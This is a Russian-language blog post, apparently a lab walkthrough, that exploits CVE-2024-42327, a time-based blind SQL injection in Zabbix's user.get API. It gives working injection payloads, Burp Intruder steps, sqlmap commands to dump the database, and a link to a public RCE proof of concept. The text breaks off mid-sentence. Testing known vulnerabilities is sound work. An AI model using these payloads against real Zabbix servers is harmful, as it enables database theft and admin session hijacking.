{"id":446455,"date":"2025-01-29T09:01:56","date_gmt":"2025-01-29T09:01:56","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=446455"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2025-01-29T09:01:56","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=446455","title":{"rendered":"<span>\u0420\u0430\u0437\u0431\u043e\u0440 CVE-2024-42327, Zabbix<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u0434\u0430\u043b\u0430\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c\u0441\u044f \u0441 SQL injection \u0432 Zabbix ( <em>\u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u0432 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0441\u0435\u0442\u0438, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0412\u043b\u0430\u0434\u044b\u0448\u0435\u0432\u044b\u043c<\/em>).<\/p>\n<p>\u0423\u0432\u0438\u0434\u0435\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043d\u0430 \u044d\u0442\u0443 \u0442\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043f\u0438\u0441\u0430\u043b \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u0432\u043a\u0440\u0430\u0442\u0446\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041e\u0433\u0440\u043e\u043c\u043d\u0430\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u043e\u043c\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 <s>(\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430\u043c)<\/s>, \u043e\u0434\u043d\u0430\u043a\u043e \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0435 \u043e\u0431\u043e\u0448\u043b\u043e\u0441\u044c.<\/p>\n<p>\u0421\u0442\u0430\u0442\u044c\u044f &#8212; \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u0430\u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0421 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e Burp, \u043d\u043e \u0438 sqlmap, API \u0441\u0430\u043c\u043e\u0433\u043e Zabbix&#8217;a \u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b.<\/p>\n<p>\u041f\u043e\u0435\u0445\u0430\u043b\u0438!<\/p>\n<p>SQL injection \u0432 API, edpoint <strong>user.get<\/strong><br \/> \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix<br \/> 6.0.0 &#8212; 6.0.31 <s>(\u0442\u0430\u043a \u0436\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0433\u0434\u0435-\u0442\u043e \u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e \u0434\u043e 6.0.36 \u0432\u0435\u0440\u0441\u0438\u0438)<\/s><br \/> 6.4.0 &#8212; 6.4.16<br \/> 7.0.0<\/p>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430<\/h3>\n<p>\u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 zabbix \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u0434\u043b\u044f \u043d\u0430\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 (ubuntu-6.0.1)<\/p>\n<p><code>sudo apt install docker docker.io docker-compose<\/code><br \/> <code>docker network create --subnet 172.20.0.0\/16 --ip-range 172.20.240.0\/20 zabbix-net<\/code><br \/> <code>docker run --name mysql-server -t \\<\/code><br \/> <code>-e MYSQL_DATABASE=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_USER=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code><br \/> <code>-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d mysql:8.0 \\<\/code><br \/> <code>--character-set-server=utf8 --collation-server=utf8_bin \\<\/code><br \/> <code>--default-authentication-plugin=mysql_native_password<\/code><br \/> <code>docker run --name zabbix-java-gateway -t \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d zabbix\/zabbix-java-gateway:ubuntu-6.0.1<\/code><br \/> <code>docker run --name zabbix-server-mysql -t \\<\/code><br \/> <code>-e DB_SERVER_HOST=\"mysql-server\" \\<\/code><br \/> <code>-e MYSQL_DATABASE=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_USER=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code><br \/> <code>-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code><br \/> <code>-e ZBX_JAVAGATEWAY=\"zabbix-java-gateway\" \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>-p 10051:10051 \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d zabbix\/zabbix-server-mysql:ubuntu-6.0.1<\/code><br \/> <code>docker run --name zabbix-web-nginx-mysql -t \\<\/code><br \/> <code>-e ZBX_SERVER_HOST=\"zabbix-server-mysql\" \\<\/code><br \/> <code>-e DB_SERVER_HOST=\"mysql-server\" \\<\/code><br \/> <code>-e MYSQL_DATABASE=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_USER=\"zabbix\" \\<\/code><br \/> <code>-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code><br \/> <code>-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code><br \/> <code>--network=zabbix-net \\<\/code><br \/> <code>-p 80:8080 \\<\/code><br \/> <code>--restart unless-stopped \\<\/code><br \/> <code>-d zabbix\/zabbix-web-nginx-mysql:ubuntu-6.0.1<\/code><\/p>\n<p>Default web login and pass: Admin\/zabbix<\/p>\n<p><strong>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043c\u0435\u044e\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0432 Zabbix.<\/strong><br \/> \u0414\u043b\u044f \u0447\u0438\u0441\u0442\u043e\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443 &#171;Users groups&#187;. \u0413\u0440\u0443\u043f\u043f\u0430 &#171;Guest&#187; \u043d\u0430\u043c \u043d\u0435 \u043f\u043e\u0434\u043e\u0439\u0434\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a &#171;Fronted access&#187; \u0443 \u043d\u0435\u0435 \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0430 &#171;Internal&#187;. \u0422\u0430\u043a \u0436\u0435 \u0431\u044b \u043d\u0430\u043c \u043f\u043e\u0434\u043e\u0448\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 &#171;Zabbix Administrators&#187; &amp; \u0433\u0440\u0443\u043f\u043f\u0430 \u0434\u0435\u0431\u0430\u0433\u0430.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3af\/25b\/845\/3af25b8453d21d7e5bfefb5fdef53b0c.png\" width=\"742\" height=\"543\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3af\/25b\/845\/3af25b8453d21d7e5bfefb5fdef53b0c.png\"\/><\/figure>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0440\u043e\u043b\u0438. \u041e\u0441\u0442\u0430\u0432\u0438\u043c \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a API. (\u041f\u043e \u0434\u0435\u0444\u043e\u043b\u0442\u0443 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u043b\u0438\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c)<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/453\/a1b\/0ca\/453a1b0ca2b64f14c8044aa309257253.png\" width=\"908\" height=\"934\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/453\/a1b\/0ca\/453a1b0ca2b64f14c8044aa309257253.png\"\/><\/figure>\n<p>\u0422\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u043a\u0440\u0435\u0434\u044b:<br \/> test_cve<br \/> p2ssw0rd123<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/100\/6fe\/d9f\/1006fed9fb72cd2ccda530b76375695d.png\" width=\"1634\" height=\"940\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/100\/6fe\/d9f\/1006fed9fb72cd2ccda530b76375695d.png\"\/><\/figure>\n<h3>\u0422\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h3>\n<h4>Burp<\/h4>\n<p>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0441\u0442\u0435\u043d\u0434\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430. \u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<br \/> \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u043c Burp \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043d\u0430 api_jsonrpc.php \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0442\u043e\u043a\u0435\u043d\u0430<\/p>\n<p><code>{<\/code><br \/> <code>\"jsonrpc\":\"2.0\",<\/code><br \/> <code>\"method\":\"user.login\",<\/code><br \/> <code>\"params\":{<\/code><br \/> <code>\"username\":\"test_cve\",<\/code><br \/> <code>\"password\":\"p2ssw0rd123\"<\/code><br \/> <code>},<\/code><br \/> <code>\"id\":1<\/code><br \/> <code>}<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/95f\/a8d\/079\/95fa8d07939a5b58f354e1e6894b2b1b.png\" width=\"1130\" height=\"455\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/95f\/a8d\/079\/95fa8d07939a5b58f354e1e6894b2b1b.png\"\/><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0440\u043e SQLi Time-based blind \u0432 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 user.get, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043a \u043d\u0435\u043c\u0443:<br \/> <code>{<\/code><br \/> <code>\"jsonrpc\": \"2.0\",<\/code><br \/> <code>\"method\": \"user.get\",<\/code><br \/> <code>\"params\": {<\/code><br \/> <code>\"selectRole\": [<\/code><br \/> <code>\"roleid\",<\/code><br \/> <code>\"name\",<\/code><br \/> <code>\"type\",<\/code><br \/> <code>\"readonly AND (SELECT(SLEEP(5)))\"<\/code><br \/> <code>],<\/code><br \/> <code>\"userids\": [<\/code><br \/> <code>\"1\",<\/code><br \/> <code>\"2\"<\/code><br \/> <code>]<\/code><br \/> <code>},<\/code><br \/> <code>\"id\": 1,<\/code><br \/> <code>\"auth\": \"d5a70c4b476e176ad5891ad1a2341e1c\"<\/code><br \/> <code>}<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/171\/4f5\/69c\/1714f569c77f082551de3229ecf8968e.png\" width=\"1568\" height=\"453\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/171\/4f5\/69c\/1714f569c77f082551de3229ecf8968e.png\"\/><\/figure>\n<p> \u0412\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430\u0448 payload \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.<br \/> \u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 <code>AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')<\/code> \u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0411\u0414.<br \/> \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 Intruder \u0438 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0411\u0414<br \/> Intruder -&gt; Sniper attack -&gt; Payload type: Brute force -&gt; Character set (\u0446\u0438\u0444\u0440\u044b\/\u0431\u0443\u043a\u0432\u044b) -&gt; min\\max lenght =1 -&gt; \u0412\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u043e\u0438\u0441\u043a\u0430<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6d8\/277\/490\/6d8277490082a58701468b9fd5775298.png\" width=\"1517\" height=\"575\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6d8\/277\/490\/6d8277490082a58701468b9fd5775298.png\"\/><\/figure>\n<h4>SQLmap<\/h4>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u044d\u0442\u043e \u0432\u0441\u0435 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e, \u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e.<br \/> \u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437 \u0440\u0435\u043f\u0438\u0442\u0435\u0440\u0430 \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 sqli_zabb_post_req.txt \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043a\u043e\u0440\u043c\u0438\u0442\u044c sqlmap, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0430\u043d\u043d\u0435\u0440:<br \/> SQLMap \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u043b\u0443\u0447\u0448\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.<br \/> <strong>sqlmap -r sqli_zabb_post_req.txt &#8212;technique=T -b &#8212;time-sec 3<\/strong><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/771\/6f1\/f44\/7716f1f44b46790755f6d0317a123d56.png\" width=\"1024\" height=\"602\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/771\/6f1\/f44\/7716f1f44b46790755f6d0317a123d56.png\"\/><\/figure>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0431\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0432 \u0442\u0438\u043f \u0411\u0414 \u0438 \u0438\u0434\u0442\u0438 \u0434\u0430\u043b\u044c\u0448\u0435. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0411\u0414 \u043d\u0430\u043c \u0442\u043e\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e &#171;zabbix&#187; \u0438\u0437 \u0442\u0435\u0441\u0442\u0430 \u0441 Burp.<br \/>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u0441 \u0411\u0414 \u0432\u0441\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e:<br \/> <code>sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all<\/code><br \/>\u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u043e. \u041a\u0430\u043a \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0438\u0441\u043a\u0430.<\/p>\n<h4>API zabbix + scripts python or curl<\/h4>\n<p>\u0410 \u043f\u043e\u043a\u0430 sqlmap \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043e\u0439\u0442\u0438 \u043a \u0432\u043e\u043f\u0440\u043e\u0441\u0443 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.<br \/> \u0421\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441, \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix:<\/p>\n<p>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0441\u043b\u0435\u0433\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043f\u043e API \u043d\u0430\u0448\u0435\u043b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441<br \/> \u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 <br \/>(linux):<br \/> <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"apiinfo.version\",\"params\":[],\"id\":1}'<\/code><br \/> (windows):<br \/> <code>curl -X POST -k https:\/\/ip_address\/api_jsonrpc.php -H \"Content-Type: application\/json\" -d \"{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"apiinfo.version\\\",\\\"params\\\":[],\\\"id\\\":1}\"<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d54\/8d4\/3fa\/d548d43fa1fc40e190b48ffdeb8c516a.png\" alt=\"\u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 API \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Zabbix \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\" title=\"\u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 API \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Zabbix \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\" width=\"933\" height=\"59\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d54\/8d4\/3fa\/d548d43fa1fc40e190b48ffdeb8c516a.png\"\/><\/p>\n<div><figcaption>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 API \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Zabbix \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/figcaption><\/div>\n<\/figure>\n<p>\u0417\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0432\u0445\u043e\u0434 API:<br \/> <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{\"username\":\"test_cve\",\"password\":\"p2ssw0rd123\"},\"id\":1}'<br \/><\/code>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u043d\u0430\u0448\u0435\u043b PoC \u0434\u043e RCE<br \/> <em>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: <\/em><a href=\"https:\/\/github.com\/BridgerAlderson\/Zabbix-CVE-2024-42327-SQL-Injection-RCE\" rel=\"noopener noreferrer nofollow\"><em>https:\/\/github.com\/BridgerAlderson\/Zabbix-CVE-2024-42327-SQL-Injection-RCE<\/em><\/a><br \/>\u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, RCE \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u0432\u0441\u0435 \u0436\u0435 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u044c session token \u0430\u0434\u043c\u0438\u043d\u0430.<br 